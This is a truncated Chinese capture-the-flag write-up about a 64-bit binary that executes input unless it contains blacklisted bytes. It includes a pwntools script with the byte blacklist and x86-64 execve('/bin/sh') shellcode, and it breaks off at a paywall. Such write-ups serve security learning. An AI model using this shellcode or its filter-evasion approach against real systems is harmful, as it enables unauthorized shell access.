64 位程序,未开启 NX 保护

给了 C 源码:
不存在溢出,对输入的内容进行检测,如果输入内容在黑名单内直接退出,否则当做代码执行

检查一下 shellcode 中哪些字符被过滤了
只需制作基本的 shellcode,然后比较哪个字节与模式匹配
测试脚本:
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process("./pwn")
blacklist = b"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67"
shellcode = '''
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
'''
sc = asm(shellcode)
#如果有黑名
订阅专栏 解锁全文
1441

被折叠的 条评论
为什么被折叠?



